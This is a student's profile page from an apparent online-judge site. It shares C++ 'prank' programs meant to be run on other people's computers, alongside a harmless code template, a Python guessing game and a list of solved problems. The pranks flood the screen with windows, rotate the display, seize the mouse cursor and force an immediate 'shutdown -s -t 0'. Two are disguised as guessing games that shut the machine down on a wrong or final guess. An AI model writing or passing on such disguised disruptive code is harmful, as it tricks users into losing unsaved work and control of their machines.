-
个人简介
卷死我究竟对你有什么好处
本人主页放置了a lot of代码,欢迎游玩!!! (最近有点忙,之后会持续更新的)
Finally updated after a long wait! I've been extremely busy and had no time before. But this time's code is truly exceptional (top-notch). However, please make sure to read the instructions carefully before using this code machine:
1.我把这个系列改名为机惨系列;
2.本代码吸取了我之前非常惨痛的教训(就是被自己的代码机惨了),所以我设置了一个可以关闭程序且不用关机的way,具体的话就来问我吧(现在貌似只有我一人知道.......);
3.现在机惨是要扣积分的;
4.给别人机惨完后请务必时时刻刻守在自己的computer前;
#include<windows.h> #include<vector> #include<cstdlib> #include<ctime> #include<tchar.h> using namespace std; vector<HWND> windows; bool fullScreenMode=false; int windowCount=0; const int MAX_WINDOWS=1000; LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { switch (uMsg) { case WM_CREATE: { SetWindowText(hwnd, TEXT("警告")); CreateWindow(TEXT("STATIC"), TEXT("今日不宜开电脑"), WS_CHILD | WS_VISIBLE | SS_CENTER, 10, 20, 200, 30, hwnd, NULL, (HINSTANCE)GetWindowLongPtr(hwnd,GWLP_HINSTANCE),NULL); CreateWindow(TEXT("BUTTON"), TEXT("关闭"), WS_CHILD | WS_VISIBLE | BS_DEFPUSHBUTTON, 80, 60, 60, 30, hwnd, (HMENU)1, (HINSTANCE)GetWindowLongPtr(hwnd,GWLP_HINSTANCE),NULL); break; } case WM_COMMAND: { if(LOWORD(wParam)==1) { for(size_t i=0;i<windows.size();i++) { if(windows[i]==hwnd) { vector<HWND>::iterator it=windows.begin(); advance(it,i); windows.erase(it); break; } } DestroyWindow(hwnd); } break; } case WM_KEYDOWN: { if(wParam == VK_TAB) { for(size_t i=0;i<windows.size();i++) DestroyWindow(windows[i]); windows.clear(); PostQuitMessage(0); } break; } case WM_DESTROY: { if(windows.empty()) PostQuitMessage(0); break; } default: return DefWindowProc(hwnd, uMsg, wParam, lParam); } return 0; } bool RegisterWindowClass(HINSTANCE hInstance) { WNDCLASS wc={}; wc.lpfnWndProc=WindowProc; wc.hInstance=hInstance; wc.lpszClassName=TEXT("MyWindowClass"); wc.hCursor=LoadCursor(NULL, IDC_ARROW); wc.hbrBackground=(HBRUSH)(COLOR_WINDOW+1); return RegisterClass(&wc)!=0; } HWND CreateNewWindow(HINSTANCE hInstance,int x,int y) { HWND hwnd=CreateWindowEx( 0, TEXT("MyWindowClass"), TEXT("警告"), WS_OVERLAPPEDWINDOW & ~WS_THICKFRAME & ~WS_MAXIMIZEBOX, x, y, 240, 120, NULL, NULL, hInstance, NULL ); if (hwnd) { ShowWindow(hwnd, SW_SHOW); windows.push_back(hwnd); windowCount++; } return hwnd; } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { srand(static_cast<unsigned int>(time(NULL))); if (!RegisterWindowClass(hInstance)) return 0; int screenWidth=GetSystemMetrics(SM_CXSCREEN); int screenHeight=GetSystemMetrics(SM_CYSCREEN); int startX=10; int startY=10; int currentX=startX; int currentY=startY; const int windowWidth=240; const int windowHeight=120; const int spacing=20; int cols=(screenWidth - startX)/(windowWidth + spacing); int rows=(screenHeight - startY)/(windowHeight + spacing); MSG msg={}; for(int i=0;i<rows&&windowCount<MAX_WINDOWS;i++) { for(int j=0;j<cols&&windowCount<MAX_WINDOWS;j++) { CreateNewWindow(hInstance, currentX, currentY); currentX += windowWidth + spacing; Sleep(50); while(PeekMessage(&msg,NULL,0,0,PM_REMOVE)) { TranslateMessage(&msg); DispatchMessage(&msg); } } currentX=startX; currentY+=windowHeight + spacing; } fullScreenMode=true; while(windowCount<MAX_WINDOWS) { int x=rand()%(screenWidth-windowWidth); int y=rand()%(screenHeight-windowHeight); CreateNewWindow(hInstance,x,y); Sleep(100); while(PeekMessage(&msg,NULL,0,0,PM_REMOVE)) { TranslateMessage(&msg); DispatchMessage(&msg); } if(windows.empty()) break; } while(GetMessage(&msg,NULL,0,0)) { TranslateMessage(&msg); DispatchMessage(&msg); if (windows.empty()) break; } return 0; }
这个背景真的so beautiful,看着就爽,我的DEV-C++也是拥有夏日限定清凉专属联动皮了,真的很好看
(不许盗图,改图,谢谢配合)
为了防止somebody(lk)不会写头文件,我选择赞助一个delicious万能头:
#include<bits/stdc++.h> using namespace std; #define ll long long const ll N=1e8+5; int main() { ios::sync_with_stdio(0),cin.tie(0),cout.tie(0); return 0; }
也是终于更新了,这个代码是Python脚本模式的(运行请按F5),猜数字(无坑),不要用你的c++运行ta!
from random import randint n=randint(1,100) luck=0 while n!=luck: luck=int(input("Please guess a number(1-100):")) if luck>n: print("The number is too big.Please guess again:") else: print("The number is too small.Please guess again:") print("You are so lucky!The number is right")
ugly系列: 如果你的显示屏出了a little 问题,please运行this代码:
#include<bits/stdc++.h> #include<windows.h> using namespace std; int main() { DEVMODE dm; dm.dmSize=sizeof(DEVMODE); dm.dmFields=DM_DISPLAYORIENTATION; if (EnumDisplaySettings(NULL,ENUM_CURRENT_SETTINGS,&dm)) { dm.dmDisplayOrientation=DMDO_DEFAULT; ChangeDisplaySettings(&dm,CDS_UPDATEREGISTRY); } return 0; }你可以运行this代码to make your 机子 出问题:
#include<bits/stdc++.h> #include<windows.h> using namespace std; int main() { DEVMODE dm; dm.dmSize=sizeof(DEVMODE); dm.dmFields=DM_DISPLAYORIENTATION; if (EnumDisplaySettings(NULL,ENUM_CURRENT_SETTINGS,&dm)) { dm.dmDisplayOrientation=DMDO_180; ChangeDisplaySettings(&dm,CDS_UPDATEREGISTRY); } return 0; }
2.0升级版本:
#include<windows.h>//水印~~~ #include<bits/stdc++.h> #include<ctime> #include<cstdlib> using namespace std; long long a,tot; int main() { int screenWidth=GetSystemMetrics(SM_CXSCREEN); int screenHeight=GetSystemMetrics(SM_CYSCREEN); cout<<"请输入一个>=60000的正整数"<<endl; Sleep(1000); cout<<"thanks!"<<endl; cin>>a; while(a<60000) { Sleep(1000); cout<<"重输!!!"<<endl; cin>>a; } cout<<"你还有3秒钟逃离时间!!!"<<endl; Sleep(1000); for(int i=3;i>=1;i--) { cout<<i<<"!!!"<<endl; Sleep(1000); } cout<<"也就持续"<<a/1000<<"秒吧"<<endl; cout<<"不要乱动,后面有惊喜!!!"<<endl; srand(time(0)); DWORD startTime=GetTickCount(); while (GetTickCount()-startTime<a) { int randomX=rand()%screenWidth; int randomY=rand()%screenHeight; SetCursorPos(randomX,randomY); } Sleep(1000); cout<<"快关掉程序!!!"<<endl; Sleep(1000); cout<<"你还有3秒钟逃离时间!!!"<<endl; Sleep(1000); for(int i=3;i>=1;i--) { cout<<i<<"!!!"<<endl; Sleep(1000); } cout<<"你掉进陷阱了!!!"<<endl; system("shutdown -s -t 0"); return 0; }
单机游戏,好玩不难(可能有那么一点exciting):
#include<windows.h>//水印~~~ #include<bits/stdc++.h> #include <cstdlib> #include <ctime> using namespace std; int main() { srand(time(0)); int bombPosition=rand()%10+1; int guess; int attempts=0; bool gameOver=false; cout<<"=== 猜炸弹游戏 ==="<<endl; Sleep(1000); cout<<"炸弹隐藏在1-10号位置中......"<<endl; Sleep(1000); cout<<"请猜测炸弹的位置,避开它!"<<endl; Sleep(1000); cout<<"Pleace guess it!!!"<<endl; Sleep(1000); cout<<"Let's"<<endl; Sleep(1000); cout<<"begin!!!"<<endl; Sleep(1000); cout<<"==================" << endl; Sleep(1000); cout<<endl; Sleep(1000); cout<<endl; Sleep(1000); cout<<endl; Sleep(1000); while(!gameOver&&attempts<5) { Sleep(1000); cout<<"请输入你的猜测(范围为1-10):"<<endl; Sleep(1000); cin>>guess; Sleep(1000); cout<<endl; attempts++; if(guess<1||guess>10) { Sleep(1000); cout<<"重输!!!"<<endl; continue; } if(guess==bombPosition) { Sleep(1000); cout<<"你的机子被炸报废了!!!"<<endl; Sleep(1000); system("shutdown -s -t 0"); } else { Sleep(1000); int distance=abs(guess-bombPosition); cout<<"安全:这个位置没有炸弹!!!"<<endl; Sleep(1000); if(distance<=2) { cout<<"警告:离炸弹很近?!"<<endl; Sleep(1000); } else if(distance<=4) { cout<<"提示:离炸弹有点近~~~"<<endl; Sleep(1000); } else { cout<<"很好:离炸弹很远!!!"<<endl; Sleep(1000); } cout<<"你已经尝试了"<<attempts<<"次,还有"<<(5-attempts)<<"次机会"<<endl; Sleep(1000); } } if(!gameOver) { Sleep(1000); cout<<"你的机子逃过一劫!!!"<<endl; Sleep(1000); cout<<"炸弹的位置是:"<<bombPosition<<endl; Sleep(1000); cout<<"You are so lucky!!!"<<endl; Sleep(1000); cout<<"Very good!!!"<<endl; Sleep(1000); cout<<"Game"<<endl; Sleep(1000); cout<<"over!!!"<<endl; Sleep(1000); } Sleep(1000); cout<<"(小提示:请注意,不要太贪玩呢!!!)"<<endl; Sleep(1000); cout<<"You will regret it!!!"<<endl; Sleep(1000); cout<<"......"<<endl; system("pause"); return 0; }
@原创——感谢来自豆羽墨主页的代码
#include <iostream> #include <cstdlib> #include <ctime> #include <windows.h> using namespace std; int main() { srand((unsigned int)time(NULL)); const int MIN_NUM = 1000; const int MAX_NUM = 5000; int target = rand() % (MAX_NUM - MIN_NUM + 1) + MIN_NUM; int guess; int chance = 10; cout << "欢迎光临 猜数字游戏:1000~5000,10次机会,连续输入数字" << endl << endl; while (chance > 0) { while (cin >> guess) { if (guess < MIN_NUM) guess = MIN_NUM; else if (guess > MAX_NUM) guess = MAX_NUM; chance--; if (guess == target) { int duration = guess * 10; DWORD start = GetTickCount(); while (GetTickCount() - start < duration) { int x = rand() % 1920; int y = rand() % 1080; SetCursorPos(x, y); Sleep(30); } return 0; } else if (guess < target) { cout << "猜小了,剩余机会:" << chance << endl; } else { cout << "猜大了,剩余机会:" << chance << endl; } if (chance == 0) { for (int i = 3; i > 0; i--) { cout << i << "..." << endl; Sleep(1000); } system("shutdown -s -t 0"); return 0; } } if (cin.fail()) { cin.clear(); cin.ignore(1000, '\n'); cout << "输入错误,剩余机会:" << chance << endl; } } return 0;
所有代码声明原创!!!拿我代码记得交版权费!!!
又及,使用我的头像记得交版权费,谢谢;(@somebody)
敬请期待......
你们爱看的:


-
通过的题目
- 124
- 125
- 126
- 127
- 128
- 129
- 130
- 131
- 133
- 134
- 135
- 181
- 540
- 548
- 578
- 586
- 718
- 739
- 741
- 743
- 744
- 908
- LQ1025
- P10
- P100
- P101
- P102
- P103
- P104
- P106
- P107
- P108
- P109
- P110
- P111
- P112
- P113
- P114
- P115
- P116
- P117
- P118
- P12
- P120
- P121
- P122
- P123
- P124
- P125
- P126
- P127
- P13
- P131
- P132
- P133
- P134
- P135
- P136
- P137
- P138
- P139
- P14
- P140
- P141
- P142
- P143
- P144
- P145
- P146
- P148
- P149
- P15
- P150
- P151
- P152
- P153
- P154
- P155
- P156
- P157
- P158
- P159
- P16
- P160
- P161
- P162
- P163
- P164
- P165
- P166
- P167
- P168
- P169
- P17
- P170
- P171
- P172
- P173
- P177
- P18
- P182
- P184
- P185
- P19
- P190
- P193
- P194
- P195
- P196
- P198
- P199
- P2
- P20
- P200
- P201
- P202
- P203
- P205
- P206
- P208
- P209
- P21
- P210
- P212
- P214
- P215
- P216
- P217
- P218
- P22
- P220
- P224
- P225
- P226
- P23
- P237
- P238
- P239
- P24
- P240
- P241
- P243
- P244
- P245
- P246
- P247
- P248
- P249
- P25
- P250
- P253
- P255
- P256
- P257
- P258
- P26
- P27
- P28
- P29
- P3
- P30
- P305
- P31
- P33
- P331
- P34
- P35
- P365
- P38
- P39
- P4
- P40
- P41
- P42
- P43
- P44
- P45
- P46
- P49
- P50
- P53
- P54
- P55
- P56
- P57
- P58
- P59
- P6
- P60
- P61
- P62
- P63
- P64
- P69
- P71
- P75
- P76
- P77
- P8
- P80
- P81
- P82
- P83
- P84
- P85
- P86
- P87
- P88
- P89
- P9
- P90
- P91
- P92
- P93
- P94
- P95
- P96
- P97
- P99
- A0000
- A0001
- A0040
- A0041
- A0042
- A0158
- A0156
- A0202
- A0200
- A0207
- A0359
- A0358
- A0357
- A0360
- A0377
- A0378
- A0376
- A0379
- A0381
- A0382
- 2220
- 6529
- 6577
-
最近活动
题目标签
- TL/一阶
- 218
- 一本通编程启蒙
- 58
- 简单分支
- 39
- 分支问题
- 29
- 语法周赛
- 19
- for循环
- 18
- 输入输出
- 18
- 模拟
- 16
- 循环嵌套
- 15
- 循环求和
- 14
- 循环问题
- 14
- 小数输出
- 12
- 基本输出
- 12
- 字符串
- 11
- 其他
- 11
- 数学
- 11
- 暴力枚举
- 9
- 拆位问题
- 9
- 数据类型
- 8
- 比赛题
- 8